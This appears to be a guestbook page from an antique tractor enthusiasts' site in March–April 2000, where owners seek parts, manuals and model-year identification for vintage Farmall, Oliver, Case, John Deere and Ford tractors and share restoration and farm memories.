Tommy Bailey wrote on Saturday, April 22, 2000 (PDT):I have an "A" and need to find torque specs. for the connecting rods and where to find parts for engine and other replacement parts,i.e. sickle bar mower but need the oak blanks. I am new to the tractor and not quite sure of proper names. Thanks for any help you might be able to provide. Sincerely Tommy Bailey
JOHN M. STONEBURNER wrote on Saturday, April 22, 2000 (PDT):OUR DAD BOUGHT A FARMALL SUPER C ABOUT 1950 OR 1951 WHEN HE TRADED IN HIS DAD'S FARMALL H. WE NOW HAVE AN IH 414, 450 AND A 1066. WE HAVE HAD 3 OTHER FARMALL H TRACTORS IN THE PAST SINCE DAD DIED, BUT HIS SUPER C WILL BE A PERMANENT TRACTOR ON THIS FARM AS LONG AS WE LIVE. THIS FARMALL SUPER C TRACTOR MAY NOT BE ABLE TO PULL A 5 BOTTOM PLOW, RUN THE HAYBINE OR ROUND BALER, BUT THESE OTHER TRACTORS JUST DO NOT HAVE THE ABILITY TO EASILY JUMP ON THEM, PULL THE CHOKE & STARTER AND BE ON THE WAY TO CHECK ON SOMETHING ON THE WEST 40, PULL A WAGON AROUND AND SPOT A PIECE ON EQUIPMENT PRECISELY WHERE YOU NEED IT. THESE OTHER TRACTORS OF OURS DO NOT START AS EASY WHEN THE TEMPERATURE IS 10 DEGREES BELOW ZERO, AND YOU JUST DON'T HAVE TO WORRY AS MUCH ABOUT HOW CLOSE YOU ARE TO A BUILDING BEAM WHEN WORKING INSIDE, BECAUSE YOU ARE UP HIGH ENOUGH TO SEE EVERYTHING AROUND THE TRACTOR. THIS SUPER C HAS BEEN REBUILT BY US SEVERAL TIMES OVER THE YEARS AND WE HAVE ALSO ADDED THE IH FIRE CRATER PACKAGE WHICH INCREASED THE BHP CONSIDERABLY. BEFORE WE ADDED THE OTHER LARGER TRACTORS, WE WERE PULLING AN 8' DISK WITH CULTIPACKER AND HARROW BEHIND WITHOUT OVERLOADING. THIS ALSO ALLOWED US TO PULL 2 16" PLOWS IN 3RD GEAR UP MOST GRADES WITHOUT DOWNSHIFTING. I PREFER TO USE THIS TRACTOR TO MOW WITH DAD'S OLD 25V SICKLE BAR MOWER SINCE I DESIGNED AND BUILT A SUBSTITUTE "D BAR" HITCH TO MAKE THE CONNECTIONS AS IF IT WERE A FARMALL H. I ALSO USE THE IH TOUCH CONTROL HYDRAULICS TO LIFT THE 7; MOWER BAR. LONG LIVE THE FARMALL SUPER C TRACTOR, IT IS NOT ANTIQUE, IT IS A FRIEND. THANK YOU JOHN M. STONEBURNER
Levi Peters wrote on Saturday, April 22, 2000 (PDT):I have 3 John Deere L's An L W/ A Hercules engine, an LI w/ John Deeere engine, and an LA . I am looking for A reasonably priced unstyled L,in the midwest. Some engine parts are avail- able from J.Deere. Sheet metal is another story. I had to make my grill drive shaft cover and belly pan (under front axle). The hood from an early LUC engine is similar but needs some modification. For engine parts the LUC is readily available at auctions. I enjoy reading the comments of fellow collectors -ors. Send me an e-mail if I can help. Levi
Robert Cramer wrote on Saturday, April 22, 2000 (PDT):I have two farmall tractors, one is a 48 cub (completely restored) and am now finishing up a 1953 super M pulling tractor. In need of a propane manifold or a cold gas manifold. Please contact me at above e-mail address or phone 419-399-4280.
Craig Hayton wrote on Saturday, April 22, 2000 (PDT):Good Morning I enjoyed the pictures. I grew up with Olivers we had a 66 88 and a 770 diesel. I bought a 1956 Super 77 diesel from the orignal owner. The tractor was in good shape and runs great. All I had to do was a major cleaning. I replaced the gauges, steering wheel,front tires ( rear tires in the spring). A very helpful hint to remove all the grease and dirt. Use easy off oven cleaner. It takes paint and all. So if you are not planning to paint your tractor DON't USE IT. I'll try to send a before and after picture over the net. thanks for the sight craig
Dave Jewson wrote on Friday, April 21, 2000 (PDT):Did you know that the Oliver Row Crop tractors were designed to only go 12 mph in high gear. This was because of fear that the tractors would be rolled while turning corners. Unfortunately some of the testers still managed to roll the tractors. The Standards were able to go approximately 18 mph. Still, they are quite nice tractors. The Row Crop 70 tractor produced approximately 23 belt horsepower.
Orley Sinkler wrote on Friday, April 21, 2000 (PDT):wanting to find out what the maximum lifting weight is on the 3 pt drawbar on the N's.
Patrick mees wrote on Friday, April 21, 2000 (PDT):hi, i have a great collection of fordson in my country belgium, major,power major,super major 4wd, super major 6cyl, dexta ,super dexta, f model, county super six and mini models and all books and folders over fordson ,if anyone need information send me a message or a fax 003222688113
Glenn Lennox wrote on Thursday, April 20, 2000 (PDT):My father and I have 2 20-35's, in varying stages of restoration. A comment on the "easy" steering... We had just gotten the latest acquisition running a few years ago, and wanted to try it out at a plowing demo. Didn't bother to check out the steering, which seemed a bit heavy but worked. Made one pass with a 3 bottom plow, cranked it off hard to turn at the end, where the steering promptly locked. Made a complete 360 degree loop before giving up reefing on the wheel, and threw the clutch. unhooked, and finally freed the steering, then just parked it for the day. Not a very great first impression! Greasing the linkage and the gearbox have helped, but it's still a brute to steer! FUN
GREG GAZETSKY wrote on Thursday, April 20, 2000 (PDT):Looking for a radiator and grille for a ZTU also a carb
Donavon Hardesty wrote on Wednesday, April 19, 2000 (PDT):I am looking for a radiator for a Minneapolis Moline Z. please contact me with information, if you have any. Thank you!
steven unterborn wrote on Wednesday, April 19, 2000 (PDT):I HAVE A VAC AND I WAS LOOKING FOR A PICTURE OF IT SO I CAN TELL WHERE TO PUT THE NEW DECALS THAT I GOT FOR THE TRACTOR THANK YOU FOR ANY HELP
Dave Jewson wrote on Wednesday, April 19, 2000 (PDT):In regards to the reverses on Model 70 tractors, my 1939 and 1940 Row Crop 70's had only one reverse. I have a book written by a Mr. Morrel, an engineer for Oliver, which I believe states that the dual reverse was used starting with the 66, 77, 88, and 99 series. My current tractor is a Row Crop 88 with dual reverses. I am on a friends computer so I do not have e-mail.
Art Kallenbach wrote on Tuesday, April 18, 2000 (PDT):I have a 1951 VAI. I would like to know Horse power. Also does anyone know how to find a front end loader and 3-point hitch for this?
Chris Boughen wrote on Tuesday, April 18, 2000 (PDT):That is one sharp Cub. I own a 1951 Farmall Cub in decent shape. Looking for a front end radiator/steering assembly, mines badly cracked, don't know how to weld cast. Any info greatly appriciated.
ALFRED wrote on Monday, April 17, 2000 (PDT):WHAT IS THE DIFFERANCE IN A FARMALL"B" AND A "BN"
Martin Farrant Somerset England. wrote on Monday, April 17, 2000 (PDT):We own a 1952 Series 3A Field marshall it is fitted with 12volt electrics and a H/D Hesford winch .It was restored 6 years ago. Most parts for the range of Field Marshall tractors can be found by contacting Robert H Crawford & son .Agricultural engineers.Frithville, Boston.Linconshire.England. 01205/750369.
John Lambert wrote on Sunday, April 16, 2000 (PDT):Andrew Gazdecki, the Serial Number tag on the left side of the engine can be hard to read. If the numbers can't be read with the eye, you can brush on a mild sulfuric acid to melt away what's hiding the number. Even if it's been ground off a little this'll usually make it ledgible. Stand by with a water hose though to neutralize the acid. This is the same process we used to raise serial number from weapons when I was in law enforcement. www.wb4uds.org/jlambert
Ed Patton wrote on Sunday, April 16, 2000 (PDT):Working on a Case DO with early serial number. Probably 1940 with hand clutch and early style pto. Runs like a top but need a grill shell, battery box, and radiator bottom tank.
Gary wrote on Sunday, April 16, 2000 (PDT):Looking for a picture of a cub with a belly mower. If you have one please e-mail me with the picture , thank you in advance.
MARK LAWLEY wrote on Saturday, April 15, 2000 (PDT):I am looking to buy a trailing brush mower for my farmall model M. I've beening searching for a few months and nothing yet. I live in central ontario and i don't mind driving a couple of hours. P.S. she's a 1946 and still going strong. If you prefer to call 705-725-3527.
Rusty Carpenter wrote on Saturday, April 15, 2000 (PDT):Looking for a GOOD Farmall Super A, preferably with a Woods Belly Mower. Does anyone have one for sale ?? Thanks!
Ron J wrote on Thursday, April 13, 2000 (PDT):James N. try the ATIS trsctor list of vendors at www.atis.net they have a listing for a vendor by the name of Miller Tire
james nielson wrote on Wednesday, April 12, 2000 (PDT):i would like to get 2 back tires for my f-20 tire size is 9.00 x 36 does anyone know where i could find them would thank you for the info
Dennis Seaton wrote on Tuesday, April 11, 2000 (PDT):great site here. Now to my questions. Working on friends cub, has white screen front grill . Were these orignal 6volt or 12volt systems, positive ground or negative.Did all cubs have magnetos orignaly? Are points located under rotor button? Have H myself,can work on it. Just not sure about cub ,first one worked on.Thanks for any help God bless you.
H. W. Jones wrote on Monday, April 10, 2000 (PDT):I have recently acquired a 1948 Farmall Cub. I am trying to get the "one touch lift" or hydraulic system operating. It needs fluid but the only thing that is listed in the manual is IH-Hytran oil. From what I can see this is SAE 80 for winter and SAE 90 for summer. Is this the correct oil to use?
JERRY SARCHET wrote on Monday, April 10, 2000 (PDT):I HAVE A LA WITH NO TAG, THAT MY SONS AND I ARE RESTORING. THE MOTOR HAS BEEN REPLACED AND OUT OF TIME BUT IT CAN BE CORRECTED WITH NO TROBLE. JUST TOOK THE TRANSMISSION AND REAR DRIVES OUT AND PUT NEW GASKETS AND BREAKS BANDS ON EACH SIDE. IF ANYBODY NEEDS SOME INFORMATION ABOUT THESE TRACTORS I MIGHT BE ABLE TO HELP SOME OF YOU OUT. JERRY SARCHET 806-744-4457 LUBBOCK TEXAS
charles henderson wrote on Sunday, April 09, 2000 (PDT):I HAVE AN OLD H NOT RUNNING HEAD CRACKED 2-3 YEARS AGO TOOK A PART AND DID NOT FIX HAS A LOT OF GOOD PARTS FOR FREE. MUST TAKE HOLE THING IN BALTIMORE MARYLAND AREA
Gary Wertz wrote on Sunday, April 09, 2000 (PDT):Iam in the process of restoring a running 1947 Farmall Cub. I found a aftermarket battery box, does anyone know if they put the metal plate,(battery box cover) on top of the battery with a rubber mat to keep the post from contacting the metal. Also does anyone know where you can find the orignal type of wiring, I think it had a outside woven covering. Thanks. Red forever..........
JERRY SARCHET wrote on Sunday, April 09, 2000 (PDT):ERNIE HENNING YOR MIGHT CONTACT A MR. CARTER AT BUGSTRACTOR at SIMPLYNET.NET FOR A HOOD FOR YOUR MODEL B. I HAVE BOUGHT SEVERAL PART FROM HIM. HE LIVES IN OK. AND WILL SHIP IT TO YOU WHERE EVER YOU MIGHT LIVE. JERRY SARCHET LUBBOCK, TEXAS
Dave Whiteneck wrote on Sunday, April 09, 2000 (PDT):Gee, I feel like a loner with all you RED Cub owners, just purchased a '65 yellow&white cub. It was a bargin $3500 W/ mower deck, landplow,harrows, sawrig, cultervater and graderblade and a sickle blade also.Tractor and stuff has been in sheds most of the time runs like new. Would like to find some implement books at resonable price, in the New Hanpshire area. Please Email.
dean slavick wrote on Saturday, April 08, 2000 (PDT):any one heard of a golden eagle or a blackhawk/
Josh Gould wrote on Saturday, April 08, 2000 (PDT):I have a 1947 MD with the super kit on it. It sat for around 15 yrs. when we were pulling it home we dropped it in gear and it started they sure don't make them like that anymore
Mike Trentham wrote on Saturday, April 08, 2000 (PDT):I have a 8n Ford serial # 8n 37558 which I understand is a 1951. It is used every year to rake hay and pull a 5ft finishing mower to mow the yard. metal work good runs great but needs paint. what would the price range be for this tractor.
Chris Faulkner wrote on Saturday, April 08, 2000 (PDT):I just restored a 1954 super A. Now i am looking for a M super M or Super MTA. If anyone in the NC,SC,orVA areas has one for sell please e-mail me. Thanks Alot!!
Bobby MeltoReagan,Tn. wrote on Friday, April 07, 2000 (PDT):the leader tractor was built by the brockway bros,auborn ohio,they were never built in chagrin falls ohio.there was no postoffice in auborn ohio so the nearst postoffice was in chagrin falls, and the postmaster there knew eyerybody for miles around,so they could get their mail this way,a grandson still lives there and has some of these tractors,including the last tractor they built,he also has some extra parts,its worth looking into,I HAVE SR # 10539,RESTORED,NOT FOR SALE,THERE IS TWO IN CAMBDEN,TN.FOR SALE.IF ANYONE IS INTERSTED I WILL TRY TO GET THE MANS PH,NO.
Jeff Pyzyk wrote on Friday, April 07, 2000 (PDT):Have an IH sickle blade mower for a cub. Located near Milwaukee. Jeff Pyzyk (414) 271-9890
Steve Martin wrote on Friday, April 07, 2000 (PDT): I have just about finished total restoration, hood and fenders left to paint, but I have drove it around. I want to tap into the hydraulics for a future Loader or log spliter. There must be another site here showing all the implaments, I think they even had a cement mixer on three point hitch, boy wouldn't that be nice.
Thomas Galvin wrote on Thursday, April 06, 2000 (PDT):Hello,I am looking for a 1947 to 1955 Farmall cub in excellent restored condition. preferably with attachments.Indianapolis area.Please Email me condition as well as price
MEL MALLEY wrote on Thursday, April 06, 2000 (PDT):I'VE JUST PURCHASED AN 8N TRACTOR I BELIEVE IT IS A 1947, PRETTY GOOD CONDITION, BUT IT LEAKES OIL ON THE LEFT SIDE. ANYONE KNOW WHERE I CAN GET A SEAL??
brian wrote on Tuesday, April 04, 2000 (PDT):need help finding top dead center on #1 piston, no marks on wheel can anbody help.
Gordy Anderson wrote on Tuesday, April 04, 2000 (PDT):I also have a DI case it has a industrial loader on it made by lull company. My Dad purchased the tractor from a blacktop company. The tractor was handed down to me and I to would like to know what color it should be. "what a workhorse"
Ron J wrote on Monday, April 03, 2000 (PDT):Parts for f-20's are not too hard to come by, the classifieds on this site and antique power magazine and red power magazine usually have some listed as well as dealers ads. If any one would be interested, I have a 1936 F-20 I would be willing to part with, I have 2. It is probably 96% complete on cutoffs/rubber tires.
Ron J wrote on Monday, April 03, 2000 (PDT):Does any one know much about the cultivators for the "B" I recently bought one for my manual lift B and am having a hard time getting the rear gang to lift, the tractor it came off of was a hydraulic conversion.
Tim Malin wrote on Sunday, April 02, 2000 (PDT):I bought a Super M at an Amish auction in Cashton, WI, 34 miles from my house. It was in amazingly good condition, and after 35 minutes of inspecting I declared it a good buy if it went in my price range. I'm 14, so you know how money comes tight. I got it for 900. It was absolutely amazing, and i probably will never get another buy as good. I would like to get some restoration tips. And if anyone would know where to buy paints, decals, etc. it would be helpful. I live on a family multifarm 600 acres, and I thought since we use our original M for so much I could make a business off of doing things for the nieghbors. Any tips, comments, etc. are very welcomed and thank you.
bryan dosier wrote on Sunday, April 02, 2000 (PDT):i have a "c" model i bought several years ago.it quit on me awhile back.i am looking for copies of owners manual& or shop manuals for it.i would really like to get it going again.thanks for any info
RANDY OBERDICK wrote on Sunday, April 02, 2000 (PDT):I GOT A 1947 FARMALL CUB FOR SALE ASKING 2.100 VERY VERY GOOD CONDITION AND RUNS WELL WITH 2 DOZER BLADES.HARES SIGLE PLOW.AND CALTAVATOERS AND DISK KNEW TIRES AND VERY SHARP LOOKING
JEFF wrote on Sunday, April 02, 2000 (PDT):LOOKING FOR A EARLY CUB WITH ATTACHMENTS,MUST BE COMPLETE AND RUNNING. KNOXVILLE TN.
Gerry Swigart wrote on Saturday, April 01, 2000 (PST):Iconsidering buying a Farmal Super M for light work aroun dout place and grooming an areana. I like to put a loaded on it, but don't even who what to look for. I see quick a few at Auctions. Any helpful ideas ?
ERH40 wrote on Saturday, April 01, 2000 (PST):I HAVE A TO30,1953 MODEL THERE IS A LEVER BESIDE THE PTO ENGAGE HANDLE IT SEEMS TO GO TO THE SAME PLACE AS THE PTO LEVER.IT IS SPRING LOADED BUT DOES NOT CONTROL ANYTHING. CAN ANY ONE HELP AS TO IT'S FUNCTION? HELP PLEASE......
Randall Babbitt wrote on Thursday, March 30, 2000 (PST):I would like to know where I can get info on the Super 95, 97, and 98 Massey's. I need serial #'s and years each model was made.
John Morrison wrote on Wednesday, March 29, 2000 (PST):Looking for a L, LA, or a M or MT in the northern Iowa area. If anyone nows of one please let me know.
Catharine Sullivan wrote on Tuesday, March 28, 2000 (PST):Can anyone please tell me how to find the year of my "new" Cockshutt 40-Serial number is 40P 11605-The serial # list says a 110615 is a Model 50- Tractor was purchased at auction, and I would like to know what its vintage is. Thank you!!
buckeye al wrote on Tuesday, March 28, 2000 (PST):Dad's first tractor was an H. He first put me up on it to have me drive it when I was just 5. That was over 40 years ago and I can still remember that first drive. We'd just put the cultivators on it & for a guy my size it looked like a monster! As I drove it up the lane to the barn I turned too close to the wooden stand that supported the 55 gallon oil drum that was our gasoline storage tank. It came to the ground. Had a good lot of kindling when I got done! Don't remember Dad's exact words but I knew then and now, he was NOT happy! Strange thing though, I've been driving this same H for over 40 years now and though it is a small tractor, sometimes it just amazes me what it WILL do!
Russ wrote on Monday, March 27, 2000 (PST):I just wanted to say that I learned to drive on a D17 .It was our only loader tractor for many faithful years, we had a f11 farmhand loader on it and it was amazing that a tractor off that horsepower would handle the big round bales with such ease.But the winter of 97 finaly did it in, and dad gave up on it. But IT will be restored again someday.
B.L. [Charlie] Wilson wrote on Sunday, March 26, 2000 (PST):I'm from New Zealand, I have just prechased a Cub serial 114843 what year would it be. It needs a repaint. But where can I buy the transfers please some one tell me.
Robert Coppock wrote on Saturday, March 25, 2000 (PST):I have an R that I use once in a while. The old timers hear it pop and stop by to see the old gal work. They are good for an R story.
RON KENNEDY wrote on Saturday, March 25, 2000 (PST):WRITING FROM AUSTRALIA, MY NEIGBOUR BOUGHT A G705 BRAND NEW IN 1964, IT WAS THE ENVY OF EVERYONE AROUND HIM. IT SERVED HIM FAITHFULLY FOR MANY YEARS. EVENYUALLY HE BOUGHT ANOTHER SECONDHAND ONE. THESE TRACTORS WERE AVAILABLE ON 23X26 OR 15X34 TYRES BUT TI WAS POPULAR OUT HERE TO FIT 23-1X30 TYRES WHICH MADE THEM CONSIDERABELY FASTER. REMEMBER THE GVI WHICH WAS THE MODEL BEFORE.AND ALMOST IDENTICAL BUT REVED A BIT SLOWER? MY NEIBGOUR BOUGHT TWO LAST MONTH, ONE IS A GOER THE OTHER NOT, HOWEVER THE ONE WHICH GOES HAD NOT BEEN GOING FOR ABOUT 25 YEARS ACCORDING TO ITS PREVIOUS OWNER. MY FRIEND PAYED $400-00 FOR THE TWO NOT BAD DONT YOU THINK?
Margaret Howden wrote on Friday, March 24, 2000 (PST):Need a small tractor and implements for market gardening, and would like to locate Farmall Cub (not Cub Cadet) or MH Pony in working condition, in SW Wisconsin or Northern Illinois. (Of course, our 8 year old hopes it will be in show condition, but I'd rather budget for more attachments than paint and decals ;-).We use an IH 706 and a Ferguson TO-30 on the farm, but I need something lighter and with a smaller turning radius for the garden (only about 1 acre total). If you have one for sale, please contact me. Thanks.
Hal wrote on Friday, March 24, 2000 (PST):I have a 1946 Case and would like to attach a mower. Can anyone tell me if a 1946 has a 540 for the PTO? I have counted six splines on the PTO shaft.
John Weide wrote on Friday, March 24, 2000 (PST):I spent alot of time on my grandparents farm when I was little and they used oliver tractors for all the heavy work and had a small diesel ford with a loader towards the end, to clean out the barns,etc. The place was sold in 1971 when I was 8. I became a father in '92 and thuoght my son would enjoy things like tractor shows and such, so I decided to find an Oliver to restore , but all I could remember was the big red wheels! So, without asking my relatives what models were there, I obtained a 60 rowcrop. I did alot of research before I restored it and found out some minute details, such as the fact the gages used chrome plated brass lens rings in 1941, (my Olivers year)all that came later still had the chrome,but due to war, it was chrome plated steel. My 60 turned out exellent,I use it to buzz wood and I have a large garden, also its a hit at the local tractor show each year. Theres something I'd realy like to have and thats a set of cultivators for it. Oh yeh, the tractors on the farm when I was little? A 70 and A 77!!
Louie Jeune wrote on Friday, March 24, 2000 (PST):Growing up in Catskill N.Y. in the late forties and fifties the village had one of these Fordson Major Diesel tractors whit a backhoe on and it was called a pippen. Never saw one again.
Lindley Clark wrote on Friday, March 24, 2000 (PST):In the 40s and early 50s my father was an Oliver dealer in Calhoun Kentucky. A cousin called me last night and told me he had located a model 60 in excellent condition that my Dad had sold new. I am now the owner of that tractor. When I was a kid hanging aroung the dealership I learned to drive on these tractors and usually had to drive all the new ones, so there is a possibility that I drove this one over 50 years ago. I can't wait to see it again! I also need a steering wheel in good condition.
RON KENNEDY wrote on Friday, March 24, 2000 (PST):I AM WRITING FROM AUSTRALIA TO LET YOU KNOW A NUMBER OF 500 CAME OUT HERE, I REMEMBER SEEING ONE A LOT OF YEARS AGO.MY DAD OWNED A 18-32, THEN AN L MODEL. I OWNED A 930 COMFORT KING AND NOW HAVE A 1936 L IN THE BACKYARD. REGARDS RON
Guy Wilkinson wrote on Thursday, March 23, 2000 (PST):My HG 42 just stoped working the tracks are not engaging. I pulled the rear differential cover off and engaged the transmission and it seems to be turning but either of the tracks are not moving. What could it be? Do I have to take it all apart or is it in the differential
Craig Thorne wrote on Wednesday, March 22, 2000 (PST):The chains do hook to the drawbar. They should don't drag on the ground. They are not mounted on the rock shaft properly.
Eric Bartley wrote on Wednesday, March 22, 2000 (PST): My dad has two 8-16 tractors one he has restord and working on the other.I know little about them, but I do know that out of the tweny-thirty tractors he has,he's most proud of the 8-16.
Don wrote on Wednesday, March 22, 2000 (PST):I purchased a JD 50 It came with a 3 point hitch I installed the lower arms . Do the chains just attach to the draw bar? I have no attachments but I have questions What keeps the upper arms from draging on the ground or do you just leave the upper ones attached to the implement ?
Bob wrote on Wednesday, March 22, 2000 (PST):I have a G in nice shape runs with good tires live in nj 1500 or best ....thank you Bob
Mark Bewick wrote on Wednesday, March 22, 2000 (PST):I own a Farmall 300 with out Hyd. is That rare or a farmer fix. I also own a 3 furrow plow with rubber tires what is the age of it?
Mike in California wrote on Tuesday, March 21, 2000 (PST):I have a 60's vintage 2000 Industrial. Is there a stamping or a plate anywhere on the tractor that can tell me what year it might be?
Dick Lyness wrote on Tuesday, March 21, 2000 (PST):Looking for the FOB price of a 1939 Farmall A, in 1939?
MICHAEL RICHARDSON wrote on Monday, March 20, 2000 (PST):I HAVE A INDUSTRIAL 97 MASSEY FERGUSON, WHERE CAN I GO TO FIND OUT HISTORY, ANY INFORMATION ABOUT THIS TRACTOR. 1963 YR. MAKE; MODEL D504-6; SERIAL 23701192. JUST BOUGHT!
Michael Petri wrote on Monday, March 20, 2000 (PST):I have inherited what I believe to be a 1956 8N. The only paperwork I found shows the identification number as A208? Any help in identifying this tractor or the value of it?
Carl E. Chadwick wrote on Sunday, March 19, 2000 (PST):Need air cleaner Need decals for 1936 Farmall F20 narrow tread 10X36 in tires
Jimmy Wade wrote on Sunday, March 19, 2000 (PST):I have a 1959 model that I have just finished restoring. Needless to say, I love it. I have pictures that I plan to put on a web page shortly.
Don Harrington wrote on Sunday, March 19, 2000 (PST):I have a Farmall C, but don't know what year. I need a wiring diagram. Does anyone know where I can get one?
Kelvyn Moyer wrote on Sunday, March 19, 2000 (PST):My dad had an Oliver 70 that we used for all kinds of general purposes. We used it to grind feed in the winter because it would always start no matter how cold it was outside. It was a fun tractor to drive, especially mowing and raking hay.
Mary wrote on Sunday, March 19, 2000 (PST):We have an early model cub but the serial number tag is gone. Any suggestions for determining the actual year of the tractor? We try to find as many pictures as possible to reference but it's still difficult to tell for sure. Would appreciate any help if you can give it! Thanks.
Mark wrote on Sunday, March 19, 2000 (PST):I am restoring a W4 that my dad bought 35 years ago. I need rear wheels and tires. Any Canadian dealers?
earl Allen wrote on Saturday, March 18, 2000 (PST):I have a 1955 OC-3 with a 5 foot Hyd blade and full roll cage ,I live in the foothills of No. Calif.and use it extensily. I have about an inch of adjustment left on the tracks, My question is does anyone rebuild tracks or are there any good used or new ones available and what would one expect to pay for them? I did find an old HC42 for sale that has not moved in 20 years for $500.00 . is that too much to pay for a parts tractor? This tractor has much better tracks, a Hyd pack in front and a PTO on the rear with a 6 inch belt drive on the side ,would this be of any value to anyone? E- Mail Me at ekallen at neworld.net
Ed Richlen wrote on Saturday, March 18, 2000 (PST):hve two cannibalized model G`s, various parts, generators, Pto`s, carburetors, wheels, etc. phone 715-854-7928. adress W8983 County A, Crivitz, Wi. 54114
Dave Lansing wrote on Friday, March 17, 2000 (PST):Oops! I got my Farmalls mixed up in my message from 3/15/00. Just found the auction list from my grandpa's farm. The H had a horn loader and a snow blade on it, not the M. The M was the one with the wide front that they used regularly. Everything was sold at auction in Portage, WI in March of 1984. Has anyone had experience tracking down where things ended up from an old auction. I would imagine it takes quite a bit of digging and determination, but I would love to find one of those Farmalls and make it mine. I get butterflies just thinking about it. Sounds like I could be setting myself up for disappointment, but oh well!
Jennifer Dodge wrote on Friday, March 17, 2000 (PST):My husband restored a tractos similiar to this one. However,I'm not sure of the year. Our sons,aged seven and five just love tractors. It's really nice to be able to get on a site and view other farmall tractors. Your tractor is real nice and I am glad that I was able to view it.
john wrote on Friday, March 17, 2000 (PST):I have a story to tell about my Fordson Super Major 5000. It seems we couldn't get it to shift into low range and when we tore it down we found a shaft with a gear seized on it because lub couldnt flow through it. Inside was stuffed the kind of waxed paper that bearing are wrapped in. Was this some sort of sabotage at the plant? It doesn't seem like the paper could ever have gotten in there on its own. Ive always wondered about this. As we understand it, the second color for the later majors was gray--at least in the US. The change seemed to happen in 1962. It matters to me because I am getting a Super Major delivered this weekend which is a '62. Good luck to guys looking for a ps pump or piston. They are hard to find and expensive to fix.
Pat Mc wrote on Friday, March 17, 2000 (PST):I can't get the lights to work on my "C". Is there an electrical diagram available?
walter robb wrote on Friday, March 17, 2000 (PST):Ihave a chance to buy a 1938 F 20 farmall,are part hard to find for this tractor?
George White wrote on Thursday, March 16, 2000 (PST):looking for a 42 or 48 inch woods belly mower that will fit a 1956 Cub. Can someone help?
kpowers wrote on Thursday, March 16, 2000 (PST):need specifications for t020 and to30 -must identify my tractor and cannot locate serial number. Anyone have specs or a good diagram that would show difference between two models? Help-need answer fast!!
Johhny Chandler wrote on Thursday, March 16, 2000 (PST):I would like to know if a funk v8 engine will fit a 1939 9n ford tractor?
Dave Lansing wrote on Wednesday, March 15, 2000 (PST):Is this crazy? My grandfather had a Farmall M and a Farmall H on his farm until everything was sold at auction after he died in 1981. I was around ten years old at the time and always loved the farm. They didn't use the M in the later years - it ran fine though. It had a bucket on the front (which may have been a "trip bucket" from what I've read here) that was run by cables and pulleys. The H they used regularly, it had a wide front end. I don't know anything about fixing tractors but am willing to try. This idea just hit me in the last week looking at tin signs, etc. for sale on ebay.com. What would you experts recommend to get started?
Dave wrote on Wednesday, March 15, 2000 (PST):I purchased a Case VAO (?)this past Saturday at an auction. My dad had a VAC when I was a younger and I have wanted to get one to restore. The tractor is missing the plate on the dash, so at this point I have been unable to find a SN and other than the fact that they said it was a VAO, I am not really sure of that (it is very similar to a VAC). It seems to have lower profile tires than I remember and a wide front end (might be after market equipment). Any ideas where else I might find a SN on this tractor?
Kevin Manring wrote on Wednesday, March 15, 2000 (PST):Mike Fehn Thanks for e-mail regarding the lights but your E-mail doesn't work
MIKE MCCORMICK wrote on Wednesday, March 15, 2000 (PST):I have a sheppard 12hp.engine in my garage bolted down to the bottom of a shipping creat. I think it is new. I got it started twice,and then the starter burned up. I would like to find another starter for it.I might adapt one if I can't find one at a good price.If anyone knows of other web pages with information on them please let me know.
Philip Croff wrote on Tuesday, March 14, 2000 (PST):Last summer I bought a restored AV with new rear tires. Runs real nice, and I got it for $2500! Does anyone know how many they made of the AVs? Also, what is the value of one?
Philip Croff wrote on Tuesday, March 14, 2000 (PST):I heard that if you have a 60 standard, and you find some orchard fenders, you can make it an orchard. The problem is is that the serial number tag won't say it's an orchard.
Jarrell Currie wrote on Tuesday, March 14, 2000 (PST):larry nicholson ;you may be able to solve your problem with a resistor they used on the 1960 model dodge cars . It was put between the hot wire and the coil ,also your 60 model chevys had these to .I had to use one my racecar because my points did the same thing .i hope this helps .
Jarrell Currie wrote on Tuesday, March 14, 2000 (PST):SM I do painting . I all sand blast and paint some them . I just finish sandbasting at painting my 1948 cub looks great .Ilive in Bryan Tx .
John Patterson wrote on Tuesday, March 14, 2000 (PST):I just bought a 1948 8n tractor. It has a busted tooth on one of the gears in the trans. Any help on fixing this would be great (photos manuals ideas suggestions or help in any way) thanks
TOM HICKOK wrote on Monday, March 13, 2000 (PST):Last year we finished our YUBA. What a fun and learning progect. You can check it, and many of the other projects out on our page, www.stltikn.com
Brian wrote on Monday, March 13, 2000 (PST): My 52 CUB project is almost complete after 2years. On and off during that 2 yrs I misplaced my generator adjustment bracket does anyone have one? and where does it mount to on the engine. ( water neck maybe )also need grille and taillight lens.Any help would be helpful THANKS.
Joe wrote on Sunday, March 12, 2000 (PST):My dad has two old M farmalls with graders on them. One has the american and the other has a trojan. I've seen alot of the american ones but not a trojan. It has 32" tires on the back and is shorter than the american. could someone tell me if it is rare and what it might be worth. Thank you .
Victor Turner wrote on Sunday, March 12, 2000 (PST): I am trying to restore my grandfather's John Deere GP standard ser#213465. I am having trouble with the magnito, it does not have enough fire to the plug. I need some help on finding a new mag. Any help on this would be good.
Steve Workman wrote on Sunday, March 12, 2000 (PST):I have a 1948 VAC and would like to know any information on putting a 3 point hitch on it. Also, are there any clubs for VAC tractor owners? Thanks!
Tom wrote on Saturday, March 11, 2000 (PST):I bought a Super 55 Diesel from a friend 2 yrs ago for $1000. It had a knock in engine which finally blew! (#1) It broke at crank journal, som I disconnected rod cap and threw it in tool box. Pushed piston to top of cyl. and bolted pan back on. Been running it that way all year now. Can not even hear a miss. You would never know. I think it runs better then before! (LOL) Really. About paint on wheels, Oliver 55's came with Chinise red and green wheels. Not sure what differance is? Poss. year or gas / diesel? / STARTER; I have two diesel engines (one spare) the starter on one has a manual switch and thensplines on the starter rotor shaft are straight. On the other starter W/electric solenoid the rotor shaft splines are spriled. Both starters work on 55 diesel though. Hope that helps someone.
Maurice Butler wrote on Saturday, March 11, 2000 (PST):I first learned to drive a tractor at a very young age on my Dad's 1938 "challenger". It was very easy to drive with very easy steering for it's time, and the oil clutch. Wish it hadn't been scraped! Does anyone know where one in running cond' is for sale? I have seen one at The Agriculture Hall of Fame.
Daryl Granfield wrote on Friday, March 10, 2000 (PST):The tractor i learned to drive, I am now restoring it. I am the third owner of this tractor, my dad being the second
Dave Pozorski wrote on Friday, March 10, 2000 (PST):I have a Ford 8n with a transmission or clutch problem. Engaging the clutch to shift gears doesn't stop the gears from turning. Have been told that it might just be that one of the fingers of the clutch plate broke off. This would still have preasure on the clutch petel, but wouldn't stop the transmission. Anyone with the problem before?
Bill McMillan wrote on Friday, March 10, 2000 (PST):I have a F14 on steel wheels. It has been in storage for a long time. I have just started to look at it, it has wooden fenders. Is that original?
